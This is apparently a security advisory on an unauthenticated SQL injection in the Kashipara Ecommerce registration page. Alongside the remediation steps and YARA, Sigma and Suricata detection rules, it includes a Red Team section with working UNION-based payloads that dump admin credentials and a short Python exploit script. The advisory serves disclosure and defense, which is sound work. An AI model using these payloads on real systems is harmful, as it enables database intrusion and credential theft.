CVE-2024-44652

Executive Summary

CVE-2024-44652 is a critical unauthenticated SQL Injection vulnerability in Kashipara Ecommerce Website 1.0. The flaw exists in user_register.php, where multiple user-supplied parameters (user_email, username, user_firstname, user_lastname, user_address) are directly concatenated into SQL queries without sanitization or parameterization. An attacker can exploit this to extract, modify, or delete database contents, potentially gaining full administrative access to the application and underlying server.

This vulnerability is particularly dangerous because it requires no authentication and can be triggered via a simple HTTP POST request. The vendor has not released a patch, and no official advisory exists. Given the low EPSS score (0.0%), exploitation is currently not widespread, but the public availability of proof-of-concept code increases the risk.

Supply Chain & Package Security

This is a standalone PHP application, not a package from NPM, PyPI, Go, or Ruby ecosystems. No supply chain implications are present.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)

• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – unauthenticated.
• User Interaction (UI): None – no user action needed.
• Scope (S): Unchanged – vulnerable component only.
• Confidentiality (C): High – full database read access.
• Integrity (I): High – data can be modified or deleted.
• Availability (A): High – potential for denial of service via destructive queries.

Threat Level: Critical. Immediate remediation is required.

Deep Dive & Mechanics

The vulnerability resides in user_register.php. The application uses a MySQL database and constructs SQL queries by directly concatenating user input. For example, the user_email parameter is used in an INSERT or SELECT statement without any escaping or prepared statements.

Vulnerable Code Snippet (Conceptual):

$email = $_POST['user_email'];
$sql = "INSERT INTO users (email) VALUES ('$email')";
mysqli_query($conn, $sql);

An attacker can inject a single quote (') to break out of the string context and append arbitrary SQL. For instance, submitting:

user_email=test@example.com' OR '1'='1

would result in:

INSERT INTO users (email) VALUES ('test@example.com' OR '1'='1')

This is a trivial injection that can be escalated to UNION-based data extraction or time-based blind injection.

Affected Parameters:

• user_email
• username
• user_firstname
• user_lastname
• user_address

All are processed in the same insecure manner.

Vulnerable vs. Patched Code

Vulnerable Code (user_register.php):

<?php
$email = $_POST['user_email'];
$sql = "INSERT INTO users (email, username) VALUES ('$email', '$_POST[username]')";
mysqli_query($conn, $sql);
?>

Patched Code (using prepared statements):

<?php
$stmt = $conn->prepare("INSERT INTO users (email, username) VALUES (?, ?)");
$stmt->bind_param("ss", $_POST['user_email'], $_POST['username']);
$stmt->execute();
?>

The patched version uses parameterized queries, which completely prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Kashipara Ecommerce Website 1.0.
• Network access to the web server.

Step 1: Identify the vulnerable endpoint.

POST /user_register.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

Step 2: Inject SQL payload.

user_email=test@example.com' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -

Step 3: Extract database version.

user_email=test@example.com' UNION SELECT @@version,2,3,4,5,6,7,8,9,10-- -

Step 4: Dump admin credentials.

user_email=test@example.com' UNION SELECT username,password,3,4,5,6,7,8,9,10 FROM admin_users-- -

Automated Exploit (Python):

import requests

url = "http://target.com/user_register.php"
payload = {
    "user_email": "test@example.com' UNION SELECT @@version,2,3,4,5,6,7,8,9,10-- -",
    "username": "test",
    "user_firstname": "test",
    "user_lastname": "test",
    "user_address": "test"
}
r = requests.post(url, data=payload)
print(r.text)

Blue Team (Defense & Detection)

Immediate Actions:

1. Isolate the web server from the internet if possible.
2. Review web server logs for suspicious POST requests to user_register.php containing SQL keywords (UNION, SELECT, OR, ').
3. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.

Long-term Fix:

• Replace all dynamic SQL queries with prepared statements or stored procedures.
• Apply input validation and output encoding.
• Upgrade to a supported e-commerce platform.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /user_register.php with parameters containing SQL metacharacters (', --, #, UNION, SELECT).
• Unusual response sizes or database error messages in HTTP responses.

File IOCs:

• Modified user_register.php file (if attacker uploaded a webshell).
• Suspicious files in the web root (e.g., cmd.php, shell.php).

Log IOCs:

• Apache/Nginx access logs showing:

  POST /user_register.php HTTP/1.1" 200
  

  with parameters containing SQL injection patterns.
• MySQL error logs showing syntax errors near ' OR '1'='1.

Detection Engineering

YARA Rule

rule CVE_2024_44652_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting Kashipara Ecommerce user_register.php"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-44652"
    strings:
        $s1 = "user_register.php" nocase
        $s2 = "user_email=" nocase
        $s3 = /['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: SQL Injection Attempt Against Kashipara Ecommerce user_register.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection patterns in POST requests to user_register.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/user_register.php'
        cs-uri-query|contains: 
            - 'user_email='
            - 'username='
            - 'user_firstname='
            - 'user_lastname='
            - 'user_address='
    injection:
        cs-uri-query|re: '['\''\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)'
    condition: selection and injection
falsepositives:
    - Legitimate use of special characters in names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44652 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/user_register.php"; http_uri; pcre:"/(user_email|username|user_firstname|user_lastname|user_address)=.*['\''\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Disable the vulnerable endpoint – Block access to user_register.php via .htaccess or Nginx config:

   <Files "user_register.php">
       Require all denied
   </Files>
   

2. Apply a WAF rule – Use ModSecurity or Cloudflare to block SQL injection patterns.
3. Restrict database user privileges – Ensure the web application database user has only SELECT, INSERT, UPDATE on necessary tables, not DROP or ALTER.

Long-term Remediation:

1. Rewrite the code – Replace all SQL queries with prepared statements (PDO or MySQLi).
2. Input validation – Whitelist allowed characters for each field (e.g., email format, alphanumeric for username).
3. Upgrade – Migrate to a maintained e-commerce platform (e.g., WooCommerce, Magento) that follows secure coding practices.
4. Regular security audits – Perform code reviews and penetration testing.

Patch Status: No official patch available. The vendor (Kashipara) has not responded to disclosure attempts. Users must implement the mitigations above or replace the software.

Valters IT